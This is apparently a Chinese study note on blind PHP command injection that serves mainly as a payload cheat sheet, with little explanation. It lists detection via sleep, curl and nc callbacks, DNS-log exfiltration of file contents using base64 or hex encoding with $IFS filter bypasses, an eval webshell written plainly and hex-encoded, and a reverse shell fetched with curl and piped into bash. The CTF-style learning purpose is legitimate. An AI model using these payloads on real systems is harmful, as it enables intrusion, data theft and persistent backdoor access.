本文由學習https://xz.aliyun.com/t/8125中收獲得知識而來,附帶個人的一些思考。
甲、php無回顯時命令注入判斷方法
利用延時
ip=|sleep 5
HTTP請求
ip=|Curl 'http://x.x.x.x:233'
Nc -lvv -p 233
dnslog
和http請求判斷方法差不多,ip換成dns的分配域名的三級域名。
ceye.io中使用分配的二級域名的三級域名。例如1.2.ceye.io
乙、webshell
1、寫webshell
在cmd環境下,若直接使用echo寫入shell.php或jsp等后綴名無效時,可以嘗試寫入txt或其他文件,再使用rename命令重命名。Rename 1.txt 1.php
其他環境中方法類似。
echo "<?php @eval(\$_POST[123]); ?>" > webshell.txt
//寫shell
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.txt
//將輸入的十六進制字符串解碼后寫入文件
Mv webshell.txt webshell.php
2、遠程下載shell
wget 網址 -O webshell.php
反彈shell
A:
Nc -lvv -p 2333
創建站點,新建文件test,內容為 bash -i >& /dev/tcp/A的ip/2333 0>&1
B:
Ip=|curl A的ip/test|bash
丙、讀文件
1、有權限,調用/bin/cat
2、無權限,使用下載
1)將無法讀取的文件,寫入到可讀取的文件類型中。
cat flag.php > flag.txt或
cat flag.php >> flag.txt
2)cp flag.php flag.txt
3)mv flag.php flag.txt
4)tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
3、dnslog,無回顯
注:此方法僅限小文件讀取,因為編碼后字符串可能過長,而域名最長為63位,所以大文件無法通過此方法讀取。
curl `命令`.域名
ip=|curl 1.2.ceye.io
ip=|curl 'cat<flag.php|base64'.2.ceye.io
//<代替空格,管道符對讀取內容做base64編碼
使用base編碼后由於可能有特殊字符,無法被識別。
改為16進制,空格以$IFS替換。
curl `cat<1.txt|xxd$IFS-ps`.dr2i9v.dnslog.cn
但使用xxd默認每行16個字符,換行后不帶二級域名的就無法訪問。
xxd可指定每行字符得數量,-c最多256個字符
重新構造
curl `cat<1.txt|xxd$IFS-ps$IFS-c256`.dr2i9v.dnslog.cn